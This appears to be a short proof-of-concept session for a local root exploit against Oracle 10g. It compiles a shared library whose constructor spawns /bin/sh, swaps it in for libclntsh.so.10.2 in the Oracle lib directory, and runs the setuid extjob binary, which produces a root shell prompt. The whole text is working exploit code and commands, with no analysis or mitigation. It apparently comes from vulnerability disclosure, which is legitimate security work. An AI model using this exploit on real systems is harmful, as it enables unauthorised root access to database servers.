-- Example with libclntsh.so

$ cat test.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


void __attribute__ ((constructor)) my_init(void)
{
	printf("[+] It works! Root shell...\n");
        system("/bin/sh");
}

$ cc test.c -fPIC -o test.so -shared
$
mv /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2 /home/joxean/oracle10g/product/10.2.0/db_2/lib/.libclntsh.so.10.2
$ mv
test.so /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2
$ $ORACLE_HOME/bin/extjob
[+] It works! Root shell...
sh-3.1#